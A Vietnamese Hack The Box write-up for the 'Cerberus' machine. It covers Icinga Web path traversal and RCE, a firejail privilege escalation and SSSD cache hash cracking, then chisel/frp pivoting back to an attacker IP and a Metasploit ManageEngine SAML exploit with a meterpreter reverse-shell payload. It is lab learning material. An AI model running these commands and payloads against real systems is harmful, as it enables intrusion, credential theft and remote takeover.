# Cerberus writeup - Hackthebox

## User flag
Scan dải port mặc định với nmap

Từ output có thể thấy một dịch vụ web được public ra ngoài ở port 8080.
Access vào với ip và port tương ứng, được redirect đến `http://icinga.cerberus.local:8080/icingaweb2/authentication/login`

-> Map hostname này với ip tương ứng vào /etc/hosts để tiện cho tiếp tục khai thác.
> Icinga là một hệ thống giám sát mã nguồn mở linh hoạt và mạnh mẽ được sử dụng để giám sát hiệu năng của các máy chủ và dịch vụ được nối mạng. Nó có thể được sử dụng để theo dõi tải và thời gian hoạt động của một nhóm web workers, dung lượng đĩa trống trên thiết bị lưu trữ, mức tiêu thụ bộ nhớ trên dịch vụ lưu trữ, v.v. Sau khi thiết lập đúng, Icinga có thể cung cấp tổng quan nhanh về trạng thái số lượng lớn máy chủ và dịch vụ cũng như thông báo, lập lịch thời gian chết và lưu trữ lâu dài dữ liệu hiệu suất.
Sau khi scan các directory, fuzz quanh ứng dụng này, mình thử search các cve liên quan đến nó và tìm được: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
Dựa vào bài blog ở trên ta có thể khai thác path traversal để đọc file

Và tiếp tục tìm các file cấu hình của icinga


Tìm được username và password

Login vào ứng dụng và tìm attack vector típ theo.

Cũng từ bài blog ở trên, ta có khai thác rce bằng cách ghi một ssh resource (chứa php code) vào một module và khi bên phía server run module này -> thực thi code
Sử dụng script exploit tại link sau, tuy nhiên cần modify để sử dụng python cho payload reverse shell
https://github.com/JacobEbben/CVE-2022-24715/blob/main/exploit.py
`-e` là vị trí của file pem hợp lệ, và ta có thể leak được content của file bằng cách sử dụng bug đọc file ở trên.


*(Thật ra ban đầu không hề có vụ in ra myid.pem như hình trên, nhưng bởi vì nếu create ssh resource với key format không đúng sẽ dẫn đến crash cả server nên có vẻ như player nào đó đã in ra path đến key pem họ để lại trên server :v)*
Đọc nội dung file này và lưu vào local

Reverse shell thành công

Tiến hành chạy linepeas để tìm cách leo thang đặc quyền user root trên server này (tạm đặt là "compromised server")

Từ output của linpeas, ta thấy có các file SUID được in đỏ và sau một hồi [search](https://seclists.org/oss-sec/2022/q2/att-188/firejoin_py.bin) thì mình thấy có thể sử dụng `firejail`

Ở một terminal khác `join` với process id đã hiển thị và `su -` -> root

Tiếp tục fuzzing để tìm kiếm thêm thông, tại `/var/lib/` ta thấy có `sss`

=> Có cài đặt System Security Services Daemon
> The System Security Services Daemon (SSSD) is a system service to access remote directories and authentication mechanisms. It connects a local system (an SSSD client) to an external back-end system (a provider). This provides the SSSD client with access to identity and authentication remote services using an SSSD provider. For example, these remote services include: an LDAP directory, an Identity Management (IdM) or Active Directory (AD) domain, or a Kerberos realm.
>
> For this purpose, SSSD:
Connects the client to an identity store to retrieve authentication information.
Uses the obtained authentication information to create a local cache of users and credentials on the client.
>
>Users on the local system are then able to authenticate using the user accounts stored in the external back-end system.
SSSD does not create user accounts on the local system. Instead, it uses the identities from the external data store and lets the users access the local system.

`/var/lib/sss/db` là nơi lưu trữ SSSD Cache của từng domain trong từng file.

```
root@icinga:~# strings /var/lib/sss/db/cache_cerberus.local.ldb
strings /var/lib/sss/db/cache_cerberus.local.ldb
TDB file
&DN=CN=SUDORULES,CN=CUSTOM,CN=CERBERUS.LOCAL,CN=SYSDB
cn=sudorules,cn=custom,cn=cerberus.local,cn=sysdb
cn=certmap,cn=sysdb
certmap
userNameHint
FALSE
&DN=@INDEX:NAME:matthew@cerberus.local
@INDEX:NAME:matthew@cerberus.local
@IDXVERSION
@IDX
name=matthew@cerberus.local,cn=users,cn=cerberus.local,cn=sysdb
&DN=@INDEX:LASTUPDATE:1677672476
@INDEX:LASTUPDATE:1677672476
@IDXVERSION
@IDX
name=matthew@cerberus.local,cn=users,cn=cerberus.local,cn=sysdb
&DN=@INDEX:GIDNUMBER:1000
...
uidNumber
1000
isPosix
TRUE
lastUpdate
1677672476
dataExpireTimestamp
initgrExpireTimestamp
cachedPassword
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0
cachedPasswordType
...
```
ta lấy được hai thông tin hữu ích đó là
- user: `matthew@cerberus.local`
- hash password: `$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0`
Crack với `john` tìm được pass là `147258369`

Bên cạnh đó trong `/etc/hosts` còn hiển thị một ip khác: `172.16.22.1` -> domain environment

Upload static compiled nmap qua bên phía compromised server để scan port 5985 (chạy WinRM service)

-> Có thể dụng evil-winrm để access vào máy này
Nhưng trước đó cần phải forward traffic, có thể sử dụng [frp](https://github.com/fatedier/frp) - một công cụ mạnh mẽ trong việc pentest itranet, đồng thời kết hợp với proxychains.
frp server sẽ được chạy ở máy kali của mình, với port 6666

frp client sẽ được chạy trong compromised server, sử dụng sock5 plugin cho việc forward traffic

> Note that the local_port (listened on the client) and remote_port (exposed on the server) are used for traffic going in and out of the frp system, while the server_port is used for communication between frps and frpc.


Tại `/etc/proxychains4.conf` setting như sau

User flag

## Root flag
Tại `Program Files (x86)` ta thấy có cài đặt `ManageEngine`

Tuy nhiên do không quen thuộc lắm với `frp` nên khúc sau mình chuyển qua sử dụng chisel để tunnel. Bởi vì `dc.cerberus.local:9251` không thể access được từ linux machine cho nên phải áp dụng double pivoting.
```
#Run command on Kali machine
chisel server -p 8003 --reverse
#Run command on Web Server machine (172.16.22.2)
./chisel client 10.10.16.11:8003 R:3080:socks
#Run command on Web Server machine (172.16.22.2)
./chisel server -p 8002 --reverse
#Run command on Office Domain Controller machine (172.16.22.1)
./chisel.exe client 172.16.22.2:8002 R:2080:socks
```
Run command on Kali machine

Run command on Web Server machine (172.16.22.2)


Run command on Window machine

Khởi động firefox với proxychains:

Access được thành công:

Login với thông tin
```
matthew@cerberus.local
147258369
```

Ta được redirect đến trang sau

Tiếp theo sử dụng metasploit và tìm các exploit module của manage engine.

Module này yêu cầu một vài các options như sau

Trong đó `ISSUER_URL` là

Và có thể lấy được thông qua việc cài đặt thêm saml-tracer extension trên firefox

`GUID` lấy được từ URL

Final module options
```
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > options
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Module options (exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966):
Name Current Setting Required Description
---- --------------- -------- -----------
GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f yes The SAML endpoint GUID
ISSUER_URL http://dc.cerberus.local/adfs/services/trust yes The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the targe
t server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RELAY_STATE no The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"
RHOSTS 172.16.22.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9251 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /samlLogin yes The SAML endpoint URL
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.16.11 yes The listen address (an interface may be specified)
LPORT 8889 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
View the full module info with the info, or info -d command.
```
Run module


và root flag

Pwned box

## Tham khảo
- https://ap3x.github.io/posts/pivoting-with-chisel/
- https://www.hdysec.com/double-pivoting-both-metasploit-and-manual/
###### tags: `htb`